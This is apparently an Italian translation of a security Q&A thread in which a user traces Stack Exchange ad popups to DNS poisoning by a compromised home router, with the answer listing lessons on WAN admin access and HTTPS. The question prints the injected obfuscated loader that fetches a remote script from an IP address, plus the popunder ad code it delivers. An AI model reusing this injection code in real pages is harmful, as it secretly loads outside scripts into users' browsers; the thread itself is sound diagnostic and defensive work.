Il javascript di Stack Exchange è dannoso

18

Recentemente ho scoperto un problema piuttosto fastidioso: ogni primo clic che ho su qualsiasi sito Stack Exchange crea un popup pubblicitario. Questo succede sul mio desktop, laptop, telefono e persino su una VM. Ho concluso che questa è la nuova funzione pubblicitaria di Stack Exchange e mi sono lamentata su meta.stackexchange ...... fino a quando ho scoperto che ero l'unica persona colpita da questo.

Non volendo credere di essere stato così negligente da consentire un virus al mio computer (e per l'ego di pretendere di essere un "esperto di sicurezza" nella mia azienda), ho continuato a indagare sulla causa principale. Ho osservato:

  1. Questo riguarda solo i siti Stack Exchange.
  2. Questo è riproducibile su 4 dispositivi: desktop, laptop, telefono e VM.
  3. Il problema non si verifica se sfoglio https.

Questo mi ha portato a pensare che questo sia un problema di rete: qualcuno ha iniettato JavaScript dannoso da qualche parte nel documento HTML mentre viene trasportato come testo in chiaro su HTTP. Dopo circa 30 minuti di acquisizione e analisi del traffico di rete, ho scoperto che questa porzione di codice nella parte inferiore di ogni pagina di Stack Exchange:

        (function () {
        var ssl='https:'==document.location.protocol,
            s=document.getElementsByTagName('script')[0],
            qc=document.createElement('script');
            qc.async = true;
            qc.src = (ssl ? 'https://secure' : 'http://edge') + '.quantserve.com/quant.js';
            s.parentNode.insertBefore(qc, s);
            _qevents.push({ qacct: "p-c1rF4kxgLUzNc" });
                        var sc=document.createElement('script');
            sc.async=true;
            sc.src=(ssl?'https://sb':'http://b') + '.scorecardresearch.com/beacon.js';
            s.parentNode.insertBefore(sc, s);
            _comscore.push({ c1: "2", c2: "17440561" });
    })();

avvia il caricamento di JavaScript dannoso sul mio browser.

Se beacon.js viene caricato tramite HTTPS, si tratta di un JavaScript minifoto a riga singola. Ma se viene caricato via HTTP, viene aggiunta una seconda riga:

!function(){var e=function(){if(document&&document.body&&document.body.appendChild){var e="getElementById";if("undefined"==typeof window[e]&&-1==document.cookie.indexOf(e)){var n=new Date;n.setTime(n.getTime()),document.cookie=e+"=1; expires="+new Date(n.getTime()+864e5).toGMTString()+"; path=/;";var t=document.createElement("script");t.src=decodeURIComponent("%68%74%74%70%3a%2f%2f%31%30%33%2e%31%36%2e%32%33%30%2e%31%36%35%2f%73%74%61%74%73%2f%58%43%51%36%37"),document.body.appendChild(t);window[e]=1;}}};document.addEventListener&&document.addEventListener("DOMContentLoaded",e),e()}();

Che è un modo offuscato per caricare http://103.16.230.165/stats/XCQ67 , che contiene:

function PopShow3(){if(!check){check=!0;var e=navigator.cookieEnabled,o="http://onclickads.net/afu.php?zoneid=658311";if(e&&(clickUnderCookie=GetCookie("clickunder"),null===clickUnderCookie||clickUnderCookiec;){var t=c+n;if(document.cookie.substring(c,t)==o)return getCookieVal(t);if(c=document.cookie.indexOf(" ",c)+1,0==c)break}return null}function SetCookie(e,o){var n=SetCookie.arguments,i=SetCookie.arguments.length,c=i>2?n[2]:null,t=i>3?n[3]:null,r=i>4?n[4]:null,u=i>5?n[5]:!1;document.cookie=e+"="+escape(o)+(null==c?"":"; expires="+c.toGMTString())+(null==t?"":"; path="+t)+(null==r?"":"; domain="+r)+(1==u?"; secure":"")}function getCookieVal(e){var o=document.cookie.indexOf(";",e);return-1==o&&(o=document.cookie.length),unescape(document.cookie.substring(e,o))}count=parseInt(3),check=!1;document.onmouseup=PopShow3;

Ora, non c'è da stupirsi che stavo vedendo annunci.

La domanda è l'implicazione di questo risultato. Vedo alcune possibilità qui:

  1. Qualcuno vicino alla mia rete sta sniffando pacchetti HTTP e inserendo contenuti dannosi in essi. Dovrei passare tutto a HTTPS quando possibile (Non inserisco mai credenziali o numeri di carte di credito su HTTP, ma dovrei fare un ulteriore passo avanti)
  2. Il mio router ASUS è stato infettato. (Un autore di virus sensibile potrebbe infettare tutte le pagine che visito, non solo un particolare sito)
  3. C'è un dispositivo infetto sulla mia intranet. (spengo tutto e testa un dispositivo alla volta, succede ancora, quindi l'unica possibilità è il router.)
  4. scorecardresearch.com utilizza il geo-cast per accelerare la propria rete. Uno dei loro server host è infetto. (che spiegherebbe perché non tutti lo vedono)
  5. scorecardresearch.com è dannoso. In qualche modo i server (o la rete) di Stack Exchange sono infetti; Stack Exchange non ha mai inteso includere scorecardresearch.com nei propri script.

Per il momento ho bloccato scorecardresearch.com .

La mia ipotesi migliore (4): uno dei server di scorecardresearch.com è infetto. Tuttavia le conseguenze di (1) sono gravi. Spiegherebbe anche perché non tutti sono interessati. Come posso ulteriormente distinguere (1) e (4)?

C'è qualcosa che mi è mancato o che avrei dovuto fare per proteggermi?

    
posta kevin 11.06.2016 - 17:02
fonte

1 risposta

19

Grazie Alexandar O'Mara per avermi indicato nella giusta direzione - era un suggerimento, ma mi ha portato lì.

Ho eseguito nslookup con i domini e ho ottenuto:

C:\Users\xxx>nslookup scorecardresearch.com
Server:  router.asus.com
Address:  192.168.56.1

Name:    scorecardresearch.com
Address:  103.16.230.165

C:\Users\xxx>nslookup sb.scorecardresearch.com
Server:  router.asus.com
Address:  192.168.56.1

Non-authoritative answer:
Name:    e2799.e7.akamaiedge.net
Address:  23.198.112.87
Aliases:  sb.scorecardresearch.com
          sb.scorecardresearch.com.edgekey.net

Nota che l'indirizzo restituito è esattamente uguale all'indirizzo che ospita contenuti dannosi. Avvelenamento DNS .

Come può essere? Qualcuno si deve divertire a pubblicizzare i propri falsi server DNS sulla rete vicina. No, ho ricontrollato le mie impostazioni del router e ho ottenuto:

Honotatochelefunzionalità"server VPN" e "accesso amministratore da WAN" erano entrambe abilitate sul router, solo poche ore prima quando ho scritto la domanda. Li ho disabilitati senza sollevare sospetti, pensando che dovevo averlo abilitato per un po 'e l'ho dimenticato. Ora so perché.

Il caso è chiuso (=

Lezioni apprese:

  1. Non consentire mai al pannello di amministrazione del router di accedere da Internet. Ci sono dei robot là fuori che esploreranno la rete e la forza bruta a loro volta anche se hai una password complessa.
  2. L'avvelenamento del DNS può essere utilizzato per iniettare contenuti dannosi nello stream HTTP senza che l'utente lo sappia. (Sono stato fortunato che si tratta di un annuncio, che è osservabile e ovvio, non di un Trojan o di qualche altro contenuto dannoso)
  3. SSL è un buon modo per proteggersi dall'avvelenamento DNS.
risposta data 11.06.2016 - 22:42
fonte

Leggi altre domande sui tag